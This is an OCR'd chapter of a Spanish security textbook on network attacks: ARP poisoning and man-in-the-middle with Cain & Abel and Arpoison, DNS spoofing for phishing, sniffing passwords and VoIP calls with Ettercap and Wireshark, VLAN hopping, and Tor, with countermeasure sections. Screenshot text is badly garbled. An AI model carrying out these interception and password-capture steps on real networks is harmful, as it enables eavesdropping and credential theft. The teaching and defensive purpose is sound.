En este capitulo se estudian los ataques méas importantes que un atacante
puede realizar a través de una red de computadores.

4.2 MAN IN THE MIDDLE

Curiosidad, venganza o espionaje pueden ser las razones por las que desde
dentro de su propia red un atacante puede realizar sus fechorias. Las estadisticas
confirman que entre el 70 y 80 por cierto de los ataques se producen dentro de la
red de la empresa. Los administradores pasan bastante tiempo impidiendo estos
ataques internos ya que proteger la red desde dentro es mucho mas dificil que
protegerla frente a atacantes externos.
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Una de las técnicas més formidables de ataques internos es la que se
conoce como ARP spoofing. ARP spoofing coloca a un atacante en una posicion en
la que puede manipular el trafico local. El ataque conocido como Man in the
middle (hombre en el medio) es facil de realizar gracias al software adecuado,
incluso los atacantes con muy pocos conocimientos sobre redes disponen de buenas
utilidades para llevar a cabo su cometido con éxito

Tal y como puede ver en la figura 4.1, los equipos de la red 172.16.0.0/16
utilizan como puerta de enlace el equipo con la direccion IP 172.16.0.1. Cuando
arranca un equipo, para ponerse en contacto con su puerta de enlace envia un
mensaje ARP preguntando ;quién tiene la direccion IP 172.16.0.1? Lo normal es
que el equipo 172.16.0.1 responda que tiene la direccion MAC
AA:AA:AA:AA:AA y a partir de ahi se inicia con normalidad la comunicacion.

S

IP: 172.16.0.5
MAC: HH:HH:HH:HH:HH

Y

IP: 172.16.0.90 IP: 172.16.0.1
MAC: cc:Ccc:cc:cc:cC MAC: AA:AA:AA:AA:AA

Figura 4.1. Esquema de red

El ataque Man in the middle consiste en envenenar las tablas ARP del
cliente para decirle que la direccion IP 172.16.0.1 corresponde a la direccion MAC
del atacante, la HH:HH:HH:HH:HH. De esta forma, el equipo atacante se pone en
medio de la comunicacion y todo el trafico del cliente pasar por ¢l (véase la figura
4.2). Al pasar el trafico del cliente por el atacante este puede monitorizar el trafico
(sniffing), modificarlo o eliminarlo.
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IP: 172.16.0.5
MAC: HH:HH:HH:HH:HH

8.3

IP: 172.16.0.90 IP: 172.16.0.1
MAC: cc:cc:cc:cc:cC MAC: AA:AA:AA:AA:AA

Figura 4.2. Esquema de red modificado (Man in the middle)

4.3 ;COMO FUNCIONA ARP?

El protocolo ARP se publicé en 1982 como RFC 826. Como la seguridad
en las tecnologias de la informacion no era un factor importante en aquella época,
el objetivo era simplemente proporcionar funcionalidad. ARP transforma las
direcciones IP a direcciones MAC. Si el cliente C necesita enviar un paquete al
servidor S, tiene que saber cudl es la direccion MAC de S si ambas méaquinas estan
dentro de la misma subred.

Para averiguar la direccion MAC, el cliente retransmite una solicitud ARP
a todas las maquinas de la red local, preguntando ;Quién tiene la direccion IP
172.16.0.1? La méquina que tiene dicha IP responde indicandole al cliente su
direccion MAC.

Como se muestra en la figura 4.3, un paquete ARP se transporta como
informacion dentro de una trama Ethernet. Para permitir que esto pueda hacerse, el
valor de 0x8006 se coloca en la cabecera de la trama en el campo tipo donde indica
al destino que se trata de un paquete ARP.

Como resulta costoso tener que retransmitir solicitudes ARP y esperar las
respuestas antes de enviar datos, cada pila IP contiene una tabla ARP también
conocido como caché ARP. La caché contiene una tabla con todas las direcciones



86 HACKERS. APRENDE A ATACAR Y A DEFENDERTE. MANUAL BASICO. 2* ED. © RA-MA

IP y las direcciones MAC correspondientes. La tabla puede albergar entradas
estaticas (por ejemplo, aquellas generadas por el usuario) y entradas dinamicas (por
ejemplo, aquellas que ha ido aprendiendo a través de las solicitudes de otros
clientes).

T (CormpoTio) Paguete AP

PAY (Payloac) HT (Tipo de Hardware)
PT (Tipo de Protocolo)
[T Feproemm—
PAL (Longitud Direccidn Protocoio)

|"op operacion)

SHA (Direccidn Hardware Remitente)
SPA (Direccion Protocolo Remitente)
TPA (Direccion Hargware Destino)

PAD (Bytes de Relieno)

FCS (Secuencia Comprabacién Cusdro)

Figura 4.3. Esquema de un paquete ARP

Para ver la tabla hay que ejecutar el siguiente comando (figura 4.4).

arp -a

C:\Documents and Setting

Figura 4.4. arp -a

El envenenamiento ARP consiste en enviar paquetes ARP modificados
para cambiar el contenido de la tabla ARP. De esta forma pueden redirigir las
comunicaciones de los clientes, para que en vez de que pasen por la puerta de
enlace de la red (172.16.0.1) pasen por el atacante para poder monitorizar,
modificar o bloquear el trafico.
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Monitorizar. Para poder monitorizar el trafico tan solo tiene que
ejecutar un sniffer en el equipo del atacante, visualizar el trafico de la red
y capturar sus contrasefias.

Modificar. Puede modificar cualquier servicio (web, DNS, FTP...). Por
ejemplo, si modifica una entrada DNS cuando un cliente le pregunte a
un servidor DNS externo ;Qué direccion IP tiene el dominio
www.dominio.es? Puede hacer que no se realice la peticion y que se le
responda que corresponda a la direccion IP que nosotros queramos
(envenenamiento DNS).

Bloquear. Como el equipo se encuentra en el medio de la comunicacion
puede filtrar el trafico de la red.

A continuacion, se va a mostrar como realizar envenenamiento ARP en

sistemas Windows y GNU/Linux.

4.3.1 Windows (Cain & Abel)

4.3.1.1 ARP SPOOFING

Quizas, la forma mas facil de realizar envenenamiento ARP es utilizar el

programa Cain y Abel (http://www.oxid.it/cain.html). Para realizar envenenamiento
ARP tenemos que realizar los siguientes pasos:

1.

Ejecute el programa y aparecera la pantalla que aparece en la figura 4.5.

s Help
Y| B ROm®m FRe0h¥89E @2 i
& @ Network [#9 Sifer [ L5ASccrets [of Cracker | Traceroute [E8 CCOU 4 Wircless |
L
Press e - button on the toobarto dump the Potected Sorage
| Py

Figura 4.5. Cain - Inicio
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2. Seleccione la pestafia Network.

3. Habilite el sniffer (segundo icono de la barra de herramientas) y seleccione

la tarjeta de red que desea utilizar.

4. En la pestafia Sniffer pulse el boton + para escanear los equipos que hay en
la red. Una vez escaneada la red el sistema muestra todos los equipos

activos de la red (véase la figura 4.6).

=iE

W Gie View Configure Tools Help
IHOHBER +y RLvEBrEF2059S22 00 M

Paddwess | MACaddress | OUlfingerprint Hostname To-l6-88 G [Momi[m3

# Protected Storage. Network | M9 Sriffer |8 LSASecrets [of Cracker | Traceroute |0 CCOU |4 Wireless

1721601 O0IFGTOFCAL  Cisco-Linksys LLC
172160105 O0OD614FAOB3  Giga-Byte Technology Co, ..
12160113 00XEDICITID  GIGA-BYTE TECHNOLOGY ..
12160116 000DSIMICIC  Giga-Byte Technology Co. ..
17216012 ONDGIOMIE2  Giga-Byte Technology Ce
17216012 000D610SR93  Giga-Byte Technology C
172160126 O0ODGI0SE3ER  Giga-Byte Technology Co, ..
172160127 0XEDSSFADE  GIGA-BYTE TECHNOLOGY ..
172160131 O02EDS3BIS?  GIGA-BYTE TECHNOLOGY ..
17216013 OOXEDTZECA4  GIGA-BYTE TECHNOLOGY ..
17216013 02EDBGEA33  GIGA-BYTE TECHNOLOGY
172160137 O00OD6I0S01Z8  Giga-Byte Technology Co, ..
172160138 000061288039  Giga-Byte Technology Co, ..
17216014  0020EDSI0BCE  GIGA-BYTE TECHNOLOGY ..

8 Hosts [@ 4P [ Routing [T Passwords [ Vol
lbo pacres 0%

Figura 4.6. Cain - Equipos de la red

5. Pararealizar el envenenamiento ARP y el ataque Man in the middle pulse

en la pestaia inferior APR (véase la figura 4.7).

B )
[ W View Configure Took Help
\ Ao hESR | +y ¥R uEEBrE~Fe0Q2898 2 @2 0
Protected Storage Network [ M9 Siffer [ _LsA Secrets |f Cracker [ @2 Traceroute |B8 CCOU |5 Wireless |
APR Status | 1 address | MAC address | Packets -> | <- Packets | MAC sddress | 1P address.
2, APRONS
I APR-SSH-1(0)
8 APR-HTTPS (0)
28 APR-ROP (0)
Status.  address MAC address | Packets -» | <- Packets | MAC address | 1P address
1 Contputin Rt rcs
[ Fiosts | @ 4R [ Routing [ % Pasowods [ Vol |
—

Figura 4.7. Cain - APR
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6. Pulse en la ventana superior y a continuacion nuevamente el boton +.
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7. En la ventana que aparece (véase la figura 4.8), en la parte izquierda
seleccione la direccion IP de la puerta de enlace de la red y en la parte
derecha seleccione los equipos a los que quiere realizarle el

envenenamiento.

New ARP Poison Routing e B’ v I . - & , (S

WARNING Il

APR enables you to hijack IP traffic between the selected hast on the left list and all selected hosts on the right list in both
directions. If a selected host has routing capabilities WaN traffic will be intercepted as well. Please note that since your
machine has not the same performance of a router you could cause DoS if you set APR between your Default Gateway and
all ather hosts on your LAN.

IP address I MAC l Hostname - IP address

Hostname:
17216.01 0018F870FCET
172.16.0.105 000DE14FADB3
17216.0.113 0020ED7C771D =
17216.0.116 000DE1343C2C
17216.0.122 000DE1041612 0 3
17216.0123 000DE105F393

1
—
——1
=
172160123 000DE1 93 [
[ |
[
——
[
| »

172.16.0.126 000DE10683ER

17216.0127 0020ED8EFADE
17216.0131 0020ED83B153
17216.0.134 0020ED77ECA4 u

« T » 7y "

Figura 4.8. Cain - ARP Poison Routing

8. Y, por ultimo, active en el envenenamiento ARP pulsando el tercer icono
de la barra de herramientas (icono amarillo). Una vez hecho el
envenenamiento ARP todo el trafico de la red pasa por el equipo (ataque

Man in the middle). Ahora puede realizar las siguientes acciones:

— Instalar en nuestro equipo un suiffer (por ejemplo, ethereal) y

registrar todo el trafico de la red.

— Afadir una entrada APR-DNS y hacer que cuando un cliente se
conecte a un dominio (por ejemplo, www.google.es) se vaya a la [P

que quiera.
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W ciie View Configure Tools Help

S ehBEm +0 Ry EMEBrEF098R22 0?0

Protected Storage | @ Network | B9 Sniffer | 2§ _LSASecrets | of Cracker | & Traceroute |B8 CCOU |3 Wireless
E3 I L3 |F2 17 I[-) m8 ccou [y 1

tatus | 1P address | MAC address | Packets -> | <- Packets | MAC address | IP address | -
2, APR-DNS X3 q 0018F870FC61 0O 0 000061050128 172160137 |
B APR-SSH-1 (0) X3 g 0018FBT0FC 1 1 000D614FAOB3 172160105 =
& APR-HTTPS (0) 4, Poisoning 0018F870FC6L O 0 000D61349C2C
4 APR-ROP (0) P 9 0018FST0FCL O 0 000061041612
P g 1721601 O018FSTOFC1 1 1 000D6105F993 7
4P, g 1721601 0018FST0FCEL 3 3 00EDTCT7ID 172160113
\Poisoning 1721601 Q018FSTOFC6L O 0 O020EDT7ECAL 172160134
Dricrminn 1771801 M REIINECAT n n ANIMENRIN S 172160121 =
Status [ 1P address [ MAC address [ Packets -> | <- Packets | MAC address | IP address | -
@ Ful-outing 172160116 000DEI4IC2C 96 105 O018FSTOFCL 19411624151
@ Full-outing 172160105 000DGI4FAOB3 2 5 O018FSTOFC  194.60.20682 =
@Ful-routing 172160116 000DGI49CIC 100 5 O018FS70FCA1 19411624154
@®Ful-outing 172160116 000D61349C2C 9 6 0018FSI0FCAL  213.52.219.51
@Ful-routing 172160116 000D6149C2C 68 59 O01SFBIOFCEl 1941162414
@Ful-routing 172160416 000DGI49CIC 22 % 0018FB7OFCL 1941162417
@Ful-outing 172160134 000EDTTECAY 5 5 O018FB70FC61 621493321
@Ful-outing 172160416 000D61349C2C 11 10 O018FBI0FC 194303259
@Full-osting 172160416 000D6149C2C 41 st O018FBIOFCL 1941164155
@Ful-routing 172160413 000ED7CTTID 51 5 0018FB70FCL 671525128 -

@  Configunation / Routed Packets

[ Hosts | @ APR [P Routing [55 Passwords | & VolP |
T

Figura 4.9. Cain - Realizando envenenamiento ARP

4.3.1.2 DNS SPOOFING Y PHISING

Un ataque DNS spoofing permite envenenar una entrada DNS de forma que
si www.google.es corresponde originalmente a la direccion IP 209.85.129.104 se
pueda envenenar la entrada para que el equipo de la victima crea que la direccion
www.google.es corresponde con otra direccion IP. De esta forma, cuando el usuario
se conecta a una determinada pagina realmente se puede conectar a una pagina
muy parecida pero con dudosos fines (phising).

Para realizar el ataque tan solo debe pulsar en APR-DNS y pulsar el boton
de afiadir (+). En la ventana que aparece en la figura 4.10 debe introducir la entrada
DNS que quiere falsificar y la direccion IP que quiere que tenga. Logicamente en
la direccion IP debe tener antes un servidor web con la pagina web que desee

mostrar a la victima.
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o emmp +v s ummrE~e0s2a2 202 QL
@ ProtectedStorage [ @ Network 6 snifer o tsasecets [of Cracker [@R Traceroute [EM ccou [T wireless
@@ apr ‘Spoofing I #R poofed
2 aprNS
B 4PR-55H-1 (0)
B APRHTTPS (0)
08 aer-ROP (0)
DNS Name Requested
216 % 75, 75 -
Cancel
2 wows
= Hosts. apr [ Routing |5\ Passwards | 2 voIP
=

Figura 4.10. Cain - Realizando envenenamiento ARP

4.3.1.3 ROBANDO CONTRASENAS

Una vez que ha activado el envenenamiento ARP y el sniffer, el registro de
contrasefias se realiza de forma automatica. Para ver las contrasefias que registra
Cain, tan solo tiene que ir a la pestafia Sniffer, Password y en el arbol que aparece
a la izquierda de la pantalla (véase la figura 4.11) se van registrando las

contrasefias.

+Y BREVEEPEFrOBRESIR O 2 i

T9 Network |89 sniter |28 _shzoaets [ Croder [@) Trocore [B0 coou ['§) weskess |

% PO

Tanestang. Trors server [ Glont Tsemame [rawod [ asiiee [
1602007 2313z 21946640 1921680140 jgomez+ber.. CearTert
102007 231132 1802141661 1921660140 gomer MR Cox et

<

P poes

& ross [@ #r [

Lost packets: 0%

Routng |\ pesswords [ vor

Figura 4.11. Cain - Robando contrasefias
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4.3.2 GNU/Linux (Arpoison)

Existen diferentes programas que permiten el envenenamiento ARP pero,
sin duda, el mas utilizado es Arpoison. Arpoison (http://www.arpoison.net) es una
herramienta de linea de comandos que permite manipular paquetes ARP. Con esta
aplicacion el usuario puede especificar la fuente y la direccion IP/MAC de la
tarjeta.

steve@arpoison.net

Figura 4.12. Pagina web de Arpoison

Para realizar la instalacion debe descargar el fichero arpoison-
version.tar.gz, y la dependencia /ibnet o realizarlo automaticamente utilizando los
repositorios ejecutando:

e Debian
#aptitude install libnetl-dev
e Fedora
#yum install libnetl-dev
Una vez instalada la dependencia ejecute:
$ tar xvfz arpoison-0.6.tar.gz
$ cd arpoison

$ make
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La sintaxis de Arpoison es:
# ./arpoison -i <interfaz> -d <IP destino> -s <IP origen> -t

<MAC objetivo> -r <MAC origen> [-a] [-w tiempo entre paquetes
mandados] [-n numero de paquetes a mandar]

Por ejemplo:

#/arpoison -i vmnet8 -d 172.16.132.128 -s 172.16.132.2 -t
00:0C:29:78:99:68 -r 00:50:56:C0:00:08

Una vez que se esta realizando envenenamiento por ARP el siguiente paso
es utilizar un sniffer para ver el trafico de la victima.

4.3.2.1 ETTHERCAP

Ettercap (http://ettercap.sourceforge.net/) es un potente sniffer de linea de
comandos, aunque en su ltima version también acepta una interfaz grafica gtk.

4 ettercap - Iceweasel Sl
Archivo Editar Ver Historial Marcadores Herramientas Ayuda

€& -»-& {5 [ € htpyettercap sourceforge.net/ -

SIESRONR

NG-0.7.3 RELEASED !!

Short Description: Ettercap is a suite for man in the middle attacks on LAN. It features sniffing of live connections,
content flering on the fly and many other interesting trics.
It supports active and passive dissection of many protocols (even ciphered ones) and includes.
many feature for network and host analysis.

Interface: Al his feature are integrated with a easy-o-use and pleastreful ncurses/gtk inerfaces. (see
screenshots)

Platform: Linwx 2.0 FreeBSD 4x 5x Mac OS X (darwin 6:x 7)
Linux 2.2 OpenBSD 2[789] 3x Windows 2000/XP/2003
Linusx 2.4 NetBSD 1.5 Solaris 2x
Linux 2.6

Required Libraries: ibpcap >= 081
ibnet >= 1.1.2.1
libpthread

2lib <

Terminado

Figura 4.13. Pagina web de Ettercap
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Como la mayoria de los programas tiene la opcion de instalarlo a través de
la compilacion de los archivos fuente o a través de repositorios, para esta ultima
opcion ejecutamos:

e Debian

# aptitude install ettercap ettercap-gtk

e Fedora

# aptitude install ettercap ettercap-gtk

Para poner en marcha este sniffer simplemente tenemos que ejecutar el
siguiente comando:

#ettercap -G

Una vez ejecutado este comando, nos aparece una ventana similar a la que
podemos ver en la figura 4.14, en ella podemos observar que aparece un menu
Filter, en el cual disponemos de varias opciones para realizar la captura de
paquetes.

- ettercap NG-0.7.3 T
File BSGUN Options Help

B Unified sniffi Mayus . +U

(@ Bridged sniffing... Mayus.+8

X set pcap filter... P

EIEERCAP

Figura 4.14. Ettercap
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Para escuchar trafico, dentro del ment Filter pulse la opcion Unified
sniffing, seleccione la interfaz por la que quiere capturar el trafico y, finalmente,
pulse Start para comenzar a registrar el trafico de la red.

Si, por ejemplo, accedemos a alguna pagina donde tengamos que introducir
nuestras claves, estas quedaran registradas tal y como se puede ver en la siguiente
figura 4.15.

= ettercap NG-0.7.3 Sk
Iarqels Hosts View Mitm Filters Logging Plugins Help

@ start sniffing  Ctri+w

@ stop sniffing  Ctrl+E

@ Exit Ctri4+x

EIEERCAP

7587 mac vendor fingerprint
1698 tep OS fingerprint

2183 known services

Starting Unified sniffing.

HTTP : ————50 -> USER: todolinux PASS: todolinux INFO:

L —————

Figura 4.15. Ettercap capturando contrasenas

4.3.3 Contramedidas

Los ataques descritos anteriormente se basan en realizar el envenenamiento
de ARP para hacer pasar el trafico de la victima por nuestro equipo. Para evitar el
envenenamiento ARP es necesario utilizar switches de capa 3 que permiten asociar
en cada puerto una determinada direccion MAC. De esta forma si un cliente intenta
cambiar o envenenar una direccion MAC el switch filtrard la comunicacion.
Existen muchos switches que permiten esta funcionalidad asi como la creacion de
VLAN. Un ejemplo de este tipo de switches lo puede encontrar en la familia de
switches de Cisco System Catalyst (véase la figura 4.16).
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Figura 4.16. Switch catalyst de Cisco System

4.4 SNIFFERS

Cuando en una red se realiza una comunicacion entre dos ordenadores, los
datos viajan a través de la red sin cifrar y solo el equipo destinatario recibe los
datos. Aunque lo normal es que los demas equipos no lean el trafico de la red que
no vaya dirigido a su direccion IP, existe la posibilidad de poner el adaptador de
red en modo promiscuo y asi registrar todo el trafico que pasa por la red.

4.4.1 Sniffers

Existen muchos sniffers que permiten registrar todo el trafico de la red.
Estos varian dependiendo de la forma en que clasifica la informaciéon. Un buen
ejemplo de sniffer lo puede encontrar en Wireshark (véase la figura 4.17).

Capturing from C local[Wireshark 1.10.8 (v1.10.8.2 g52a: m master.1.10)]

Fe L% Yew Go Gatwe Buhe Rtsics Teany ook framds b
OB AR BRXDS e aTF 2 BE QQAD VB E B
Fe Epresan.

o Potecl et ke B
@ 1 T8I T e srivp report oroup 24.0.0:113

151 10,366669010.71.178, 2
152 10616168010, 71,178,162 @ 50 Manbership fepors
153 10, 6070440 192.168.1. 36 S0 1awv2 Menbership Report
& Frase 57 80 Byt G e G0 BICa). 60 Byes caped G4m0 nm) on interface 0
® Ethernet 11, Src: Zyxelcom 4b:77:a7 (5c:f4zabidb:7) Dst: Tpvémcast_00:00:71 (01:00:5e:00:00:71) -
9000 0190 se 00 00 71 5c £4 3 46 77 37 08 00 45
g0 50 20 06 09 40 %0 01 o2 7 55 5 ef o
020 90 00 16 00 Faidef(maunuooa
5330 83 35 00 00 0 00 00 00 08 06 60

o et Cofa

Figura 4.17. Wireshark
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4.4.2 Sniffer de VolP

La telefonia sobre IP es toda una revolucion que esta cambiando la forma
en que nos comunicamos y que esta teniendo un gran calado en la sociedad ya que
son muchos los usuarios que se comunican a través de un programa de voz sobre el
protocolo IP (VoIP/Voice over IP).

Las llamadas de voz sobre IP a través de Internet se han convertido en una
manera muy popular de ahorro en las comunicaciones ya que resultan muy baratas
y, en muchas ocasiones, incluso gratis porque hacer uso de las redes de transporte
de datos para la transmision de voz.

Para poder establecer una llamada telefonica se utiliza el protocolo H.323 o
SIP. Una vez establecida la llamada, se utiliza el protocolo RTP (Real Time
Protocol) para transmitir el audio de la forma mas rapida posible. De esta forma si
quiere grabar una conversacion VolP tendrd que capturar el trafico RTP y
guardarlo en un fichero de audio.

Existen muchos sniffers que permiten grabar las conversaciones VoIP. Un
ejemplo de este tipo de programas lo puede encontrar en VolPong
(www.enderunix.org/voipong/), Oreka IP Sniffer (http://oreka.sourceforge.net/),
Cain & Abel (www.oxid.it/cain.html), Wireshark (www.wireshark.org/), etc.

4.4.2.1 CAIN & ABEL

Para poder grabar una conversacion VoIP con Cain lo primero que hay que
hacer es envenenamiento ARP sobre el dispositivo ATA o el equipo que realiza la
llamada. Una vez realizado el envenenamiento, en la pestaiia Sniffer, se van
registrando todas las conversaciones (véase la figura 4.18).

Si quiere reproducir una conversacion tan solo hay que seleccionar la
conversacion y hacer doble clic para escuchar la conversacion.
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Fle Vew Configue Tools Help

Sl | @ g B W Y W EBEIYBErEFB0HEIE D @0 0N

& T@ Network [ softer [ g L5 secets [ Gracer [0 Tracorows [ ccou |75 wreess |
tarted T Closed T1P1 (Codec) [ 1P2 (Codec [ status [ File
B -16:50:21  30/09/2007 - 16:50:37 192.168.1.101:16416 (...  62.41.83.179:9124 (PCMU, 8Khz,Mono) RTF|
) -17:05:33  30/09/2007 - 17:06:34 192.168.1.101:16418 (...  80.239.235.163:58302 (PCMU, 8khz,Mono) RTF|

T -17:08:00  30/09/2007 - 17:08:43 192.168.1.101:16420 (...  194.221.62.166:25202 (PCMU,8khz,Mano) RTF|
P -17:14:18  30/09/2007 - 17:14:21 192.168.1.101:16422 (...  62.41,83.173:25008 (PCMU,8Khz,Mono) RTF|
§730/09/2007 - 17:15:40 192,168.1.101:16424 (... 62.41.83,165:25030 (PCMU,8Khz, Mono) Recording.

<
(B tosts [ APR [ Routng [\ Passwords | 4 vorP |

Lost packets: 0%

Figura 4.18. Cain - Grabando una conversacion VolP
4.4.2.2 WIRESHARK

Wireshark (www.wireshark.org/) es un sniffer que se puede utilizar tanto
en redes cableadas como inalambricas. Para iniciar la captura de datos vaya al
menu Capture, seleccione Interfaces y en la pantalla que aparece la figura 4.19,

pulse el boton Start en la interfaz que quiere que registre el trafico de la red (véase
la figura 4.20).

7 Wireshark: Capture Interfaces

Description P Packets Packets/s [ st
i@l Adapter for generic dialup and VPN capture

d VMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) 192,168.1.200 2 1

Figura 4.19. Wireshark - Network capture interfaces

Una vez registrados los datos para ver si se ha grabado la conversacion
seleccione el menu Static, elija la opcion VolP Calls y en la pantalla que aparece en
la figura 4.21 podra ver las conversaciones grabadas.

Seleccione una conversacion, pulse Player y finalmente si quiere
reproducir la conversacion en la pantalla que aparece en la figura 4.22, seleccione

el canal (teléfono) que quiere escuchar (lo mejor es seleccionar los dos) y pulse
Play.
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VMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - Wireshark

Fle Edt View Go Capture Analyze Statistics Help .
BHdeN pEx%a[Reso7Fe|[EE ]

Eiter: | | v Expression... Clear pply

No. Time Source Destination Protocol Info

@ Frame 45 (338 bytes on wire, 338 bytes captured)
@ Ethernet II, Src: vmware_bb Ob (00:0c:29:bb:b6:0b), Dst: Asiarock_d7:80:51 (00:13:8f:d7:80

o Trmnar Arntasnl Emss 07 TGS 1 300 160 160 1 IAAY  Rere 1A TG0 1 14D (107 160 1 140Y

i >
000 00 13 8T d7 B0 51 00 OC 20 bb b6 0b 08 00 45 00

010 01 44 00 47 40 00 80 06 74 cO cO a8 01 c8 cO a8 E]
0020 01 94 04 Of 00 8b f6 10 cf a9 03 33 2c af 50 18

030 9 9e 56 F6 00 00 00 00 01 18 ff 53 4d 42 73 00

040 00 00 00 18 07 8 00 00 00 00 00 00 00 00 00 00

lhaca on aa an an - o0 0 00 o- EF 0818 01 ot

Figura 4.20. Wireshark - Datos capturados

Wireshark: VoIP Calls L=y
Detected 1 YolP Call. Selected 0 Calls.

Start Time - Stop Time  Initial Speaker ~ From To Protocol  Packets  State ‘Comments

51.77 131.52 192.168.1.101 i ipdi i SIP 20 COMPLETED

I
Select one call.
Total: Calls: 1 Start packets: 0 Completed calls: 2 Rejected calls: 2

Figura 4.21. Wireshark - VoIP calls
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Wireshark: RTP Player

.41,83,174:56294 35 Drop by Jtter Buff:6(0,1%) Out of Seq: 3774(47,7%)

IJitter buffer [ms] S0 & Pause
I Close this dalog |

Figura 4.22. Wireshark - Conversacion capturada

4.4.3 Otros sniffers

Existen muchos programas que se encargan de registrar un trafico
especifico de la red. Un ejemplo de este tipo de sniffers es @stack LC5 que permite
registrar los tokens de autenticacion en sistemas Windows. Dichos tokens se
generan al acceder a un recurso compartido de la red de Compartir archivos e
impresoras de Microsoft.

Inport Sesson el

e lp
e e P =R R a1 =]
N

‘Domain Tuser [ MPassword [ <8, [ NTM Password [ it Time [ method

Adniistrodor x

feipe

K]
b i
§ o R S

er x

s % BRUTE FORCE

-tiee elgpscd

0d oh Om 0=
tine_lert

pepe
SUPPORT 33694520 *issing *
tomas.

aane

keurat

total user:
= e

ki)
|imported 9 accaunts

Figura 4.23. @stack LC4
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4.4.4 Detectar sniffers en una red

Por lo general, la deteccion de sniffers en una red es una tarea complicada,
sin embargo, en algunos casos se pueden usar una serie de técnicas que permiten
descubrir si un ordenador tiene instalado un sniffer.

Si desea comprobar si hay algun sniffer funcionando en la red puede
utilizar herramientas como Antisniff, Sentinel o Promiscan.

o Antisniff (http://packetstormsecurity.org/sniffers/antisniff/). Es una de las
mejores herramientas de deteccion de sniffer de forma remota, aunque
quizas este un poquitin obsoleto, sobre todo porque no contempla la
nueva generacion de sniffers.

o Sentinel (http://packetstormsecurity.org). Permite detectar sniffer dentro
de una red LAN.

e Promiscan (www.securityfriday.com). Permite detectar si en una red hay
un equipo con un adaptador de red en modo promiscuo (sniffer). La
utilizacion de promiscan es muy sencilla ya que tan solo hay que
instalarlo y él automaticamente escanea la red en busca de un equipo en
modo promiscuo. En la figura 4.24 puede ver como promiscan ha
detectado un equipo en modo promiscuo.

Pero la mejor medida que podemos tomar es encriptar todas nuestras
comunicaciones, asi aunque las capturen no servira para nada.

I Toerforeles o fommet

Detect Promiscuous Node

S
an 11 £0/Muy/ 1004 3:10
Woresic coms 12 20/muy /a3
(oyeiieComa 13 20/May/z00s 9:33i33
scyciicoms 16 o/may/2006 3:11:e0

©
1008 3:33:97

cwrre 3 T80 Caphrs On )

Figura 4.24. PromiScan detectando un equipo en modo promiscuo
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4.4.5 Contramedidas

A demas de las recomendaciones que se utilizan para evitar ataques de
Man in the middle se aconseja que las redes con informacion confidencial vayan
separadas o cifradas.

Se pueden crear redes VLAN (Virtual LAN) dentro de una misma red fisica
y asi asilar el trafico de la red. Para crear VLAN es necesario utilizar switches de
capa 3 para asilar el trafico de las diferentes redes.

4.5 VLAN HOPPING

Los segmentos de redes VLAN (Virtual LAN) se utilizan para crear redes
logicas diferentes utilizando una misma red fisica permitiendo asilar dispositivos
de redes sensibles.

VLAN Hopping es una técnica que permite tener acceso a trafico de red de
otra. VLAN que normalmente es inaccesible en caso de estar correctamente
configurada.

Una manera de conseguir esto es a través de switch spoofing donde el
atacante activa su interfaz en modo troncal e imita el comportamiento de un switch.

Para determinar si es posible efectuar este tipo de ataque el atacante
unicamente tiene que escuchar el trafico de red filtrando por los paquetes DTP.

En caso de existir este tipo de paquetes, es posible “saltar” de una VLAN a
otra sin ninguna restriccion.

Para ejecutar este tipo de ataque puede utilizar la herramienta frogger.sh
desde un sistema operativo GNU/Linux que puede descargar de
http://'www.commonexploits.com/frogger-the-vian-hopper/.

A continuacion puede ver un ejemplo de la herramienta en funcionamiento.
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ethe.99 \ d 10.99.99.106/24

Figura 4.25. vlan-hopper

4.6 TEQNICAS DE OCULTACION Y NAVEGACION
ANONIMA (TORPARK)

Como es logico, cuando se accede a un servidor este registra nuestra
direccion IP. Si desea navegar de una forma anonima para que en el servidor no
aparezca nuestra direccion IP puede utilizar un servidor proxy anénimo. Los
servidores proxys son unos intermediarios entre el cliente y el servidor de forma
que se oculta la informacion del cliente y el servidor recibe siempre la direccion IP
del proxy.

Cuando realmente quiera ocultar la direccion IP puede utilizar un servidor
proxy anénimo pero si alguien tiene acceso a su registro de actividad entonces
podra saber su direccion IP. Para mitigar este problema, lo que se hace es que entre
el cliente y el servidor actiien de intermediarios varios proxys andénimos. De esta
forma para que puedan seguir el rastro tendrian que acceder a todos los registros de
actividad de todos los proxys que han sido intermediarios de la comunicacion.

Ademas, si desea hacerlo mas dificil lo normal es que los servidores proxys
anonimos estén alojados en diferentes paises. De esta forma se dificulta mucho mas
el proceso para obtener nuestra informaciéon ya que no es lo mismo utilizar un
proxy andnimo espaifiol que estd sujeto a una normativa, que utilizar un proxy de un
pais que no tiene ni legislacion sobre los registros de telecomunicaciones.

Para utilizar un proxy anénimo es tan facil como configurar nuestro
navegador para que utilice un determinado proxy. De esta forma el problema radica
en obtener la direccion IP del proxy y cambiarla frecuentemente para que no nos
puedan localizar.
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Existen muchas herramientas que permiten cambiar de forma automatica el
servidor proxy entre las que destaca Torpark (http://tor.eff.org/). Para utilizar
Torpark puede instalarlo en su equipo o utilizar una distribucion LiveCD que ya lo
incorpore. En la figura 4.25 puede ver como la distribucién backtrack lleva
incorporado Torpark.

4.6.1 Instalacion

El proceso de instalacion de Torpark es muy sencillo. Para instalarlo debe
descargar el instalador de la pagina http://tor.eff-org/ y seguir las instrucciones que
le proporciona el asistente.

Una vez instalado, junto al reloj del sistema aparece un icono que le
permite abrir el panel de control de Torpark (véase la figura 4.26).

o6 =) @ s et B meom @)

Figura 4.26. Distribucion LiveCD que incorpora Torpark

« Panel de Control de Vidalia (]

Estado de Tor

b Tor esta ejecuténdose
p

Ataios d Vidalia

[ b st Rt

Ver la Red &. Usar una Nueva Identidad

[ Gréfica de Ancho de Banda @) Ayuda § Acercade

Informe de Mensajes & preferencias [ salir

) Mastrar esta ventana al iciar | Esconder

Configurar Tor y Vidalia

Figura 4.27. Torpark
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Las opciones mas importantes del panel de control son:
e Iniciar y detener el servicio Torpark.
e Ver lared de servidores proxy anénimos (ver figura 4.28).

e En preferencias puede modificar la configuracién de Tor como, por
ejemplo, idioma, inicio de la aplicacion al iniciar Windows, puerto del

proxy, etc.
4 Tor Network Map AT
g & 4 = Q@ ©

Acualoar | Amplar Al Ampliar Para Apstar  Ayuda  Cerrar

Jf

™= meatbox

& vaktor

™ tgioranon

B3 manetherend:

torxmisson

= \psombelnus

= foataRetention

I rferids
gvwefvas
v L1 S| rouser (enihas)
pasadena gfim,fc1149 Aperto L
